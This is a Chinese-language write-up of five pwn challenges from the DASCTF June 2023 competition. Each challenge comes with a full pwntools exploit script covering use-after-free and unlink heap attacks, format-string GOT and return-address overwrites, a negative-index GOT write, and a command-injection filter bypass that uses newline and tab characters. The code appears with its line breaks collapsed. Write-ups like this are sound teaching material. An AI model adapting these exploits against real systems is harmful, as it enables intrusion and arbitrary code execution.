DASCTF 2023六月挑战赛|二进制专项 PWN(上)
1.easynote
edit函数对长度没有检查
free函数存在UAF漏洞
思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbin attack,把__malloc_hook,写入one_gadget
2.通过unlink修改free got表为system
exp:
from pwn import *context(log_level='debug',arch='amd64',os='linux')io = process('./easynote')#libc = ELF('/home/su/PWN/BUUCTF/Jqfx/EJZ/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')#io=remote('node5.buuoj.cn',29421)libc = ELF('./libc-2.23.so')def add(size,msg): io.sendlineafter('5. exit','1') io.sendlineafter('content --->',str(size)) io.sendlineafter('Content --->',msg)def edit(index,size,msg): io.sendlineafter('5. exit','2') io.sendlineafter('Index --->',str(index)) io.sendlineafter('content --->',str(size)) io.sendafter('Content --->',msg)def free(index): io.sendlineafter('5. exit','3') io.sendlineafter('Index --->',str(index))def show(index): io.sendlineafter('5. exit','4') io.sendlineafter('Index --->',str(index))fd = 0x6020C0 -0x18bk = 0x6020C0 -0x10add(0x88,'aaaa')add(0x88,'dddd')add(0x80,'cccc')add(0x50,'/bin/sh\x00')#gdb.attach(io)free(2)show(2)io.recvuntil('Content: ')libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x68 -libc.sym['__malloc_hook']system = libc_base + libc.sym['system']success('libc_base--->'+hex(libc_base))payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)edit(0,len(payload),payload)free(1)gdb.attach(io)payload = b'a'*0x20 + p64(0x602018)edit(0,len(payload),payload)edit(1,8,p64(system))free(3)io.interactive()
2.fooooood
非栈上格式化字符串漏洞,泄露地址,可以改循环次数,实现无限循环,最后改返回地址为one_gadget,即可
exp:
from pwn import *context(log_level='debug',arch='amd64',os='linux')io = process('./fooooood')libc = ELF('./libc.so.6')elf = ELF('./fooooood')success('puts--->'+hex(libc.sym['puts']))success('sys---->'+hex(libc.sym['system']))#gdb.attach(io)io.sendlineafter('name:','susu')io.recvuntil(' favourite food:')payload = b'%9$pa%11$pb%13$p'io.sendline(payload)io.recvuntil('You like')libc_base = int(io.recv(15),16) - 240 - libc.sym['__libc_start_main']success('libc_base---->'+hex(libc_base))io.recvuntil('a')stack_addr = int(io.recv(14),16) - 0xd0success('stack_addr---->'+hex(stack_addr))io.recvuntil('b')elf_base = int(io.recv(14),16) - elf.sym['main']success('elf_base----->'+hex(elf_base))#gdb.attach(io)count = stack_addr - 0x28count1 = count & 0xffffpop_rdi = libc_base + 0x0000000000021112 #: pop rdi ; ret system = libc_base + libc.sym['system']binsh = libc_base + libc.search('/bin/sh').__next__()one = libc_base + 0xf1247payload = b'%'+str(count1+4).encode('utf-8') + b'c%11$hn'io.recvuntil(' favourite food:')io.sendline(payload)io.recvuntil(' favourite food:')payload = b'%'+str(0x5).encode('utf-8')+b'c%37$hhn'io.sendline(payload)#io.recvuntil(' favourite food:')ret = stack_addr -0x10ret1 = ret & 0xffffpayload = b'%'+str(ret1).encode('utf-8') + b'c%11$hn'io.sendline(payload)io.recvuntil(' favourite food:')success('pop_rdi---->'+hex(pop_rdi))payload = payload = b'%'+str(one & 0xffff).encode('utf-8')+b'c%37$hn'#gdb.attach(io)io.sendline(payload)io.recvuntil(' favourite food:')payload = b'%'+str(ret1+2).encode('utf-8')+b'c%11$hn'io.sendline(payload)io.recvuntil(' favourite food:')payload = b'%'+str((one >> 16) & 0xffff).encode('utf-8') + b'c%37$hn'#gdb.attach(io)io.sendline(payload)#addr = stack_addr - 8#addr1 = addr & 0xffff#io.recvuntil(' favourite food:')#payload = payload = b'%'+str(addr1).encode('utf-8') + b'c%11$hn'#gdb.attach(io)#io.sendline(payload)#io.recvuntil(' favourite food:')#payload = b'%'+str(system & 0xffff).encode('utf-8') + b'c%37$hn'#io.sendline(payload)#io.recvuntil(' favourite food:')#payload = payload = b'%'+str(addr1 + 2).encode('utf-8') + b'c%11$hn'#io.sendline(payload)#io.recvuntil(' favourite food:')#payload = b'%'+str(system >> 16 & 0xffff).encode('utf-8') + b'c%37$hn'#gdb.attach(io)#io.sendline(payload)io.interactive()
3.Candy_Shop
这里对输入的v1没有检查,可以输入负数,修改到got表
通过格式化字符串泄露libc地址
exp:
from pwn import *context(log_level='debug',arch='amd64',os='linux')io = process('./Candy_Shop')libc = ELF('./Candy_Shop.so.6')success('puts---->'+hex(libc.sym['puts']))def eat(): io.sendlineafter('option: ','e')def buy(offest,payload): io.sendlineafter('option: ','b') io.sendlineafter('want to bye:','t') io.sendlineafter('the candy in?',offest) io.sendlineafter('name!',payload)def gift(payload): io.sendlineafter('option: ','g') io.sendlineafter('your name:',payload)#gdb.attach(io)payload = '%3$p'gift(payload)io.recvuntil('a gift:')libc_base = int(io.recv(14),16) - 23 - libc.sym['write']success('libc_base---->'+hex(libc_base))system = libc_base + libc.sym['system']buy('-10',b'a'*6+p64(system))#gift('/bin/sh\x00')io.sendline('g')io.sendline('/bin/sh')io.interactive()
4.server
这里可以实现目录穿越,填满0x20个字节,一个存在的文件如/flag
做了过滤
但是没有过滤\n和\t,通过\n分割命令,\t代替空格读取flag
exp:
from pwn import *context(log_level='debug',arch='amd64',os='linux')#io = process('./server')io = remote('node5.buuoj.cn',27810)io.sendlineafter('choice >>','1')io.sendlineafter('Please input the key of admin :',b'..///////////////////bin/sh')#pause()#sleep(2)io.sendlineafter('choice >>','2')io.recvuntil('username to add')io.send("66cat\tfl*\n")io.sendlineafter('choice >>','2')io.recvuntil('username to add')io.send("'\n")io.interactive()
5.Approoooooooaching
一个虚拟机的题目
存在后门,对输入的字符进行解码处理对于相应的功能
通过偏移到返回地址最后一位修改为后门
exp:
from pwn import *context(log_level='debug',arch='amd64',os='linux')io = process('./bf')io.recvuntil('choice:')io.sendline('1')io.sendlineafter('size:',str(0x300))io.recvuntil('choice:')io.sendline('2')io.sendline('iiiiyy')io.recvuntil('choice:')io.sendline('3')io.recvuntil('choice:')io.sendline('4')gdb.attach(io)io.send('\xe0')io.interactive()
还有三道下篇详细讲......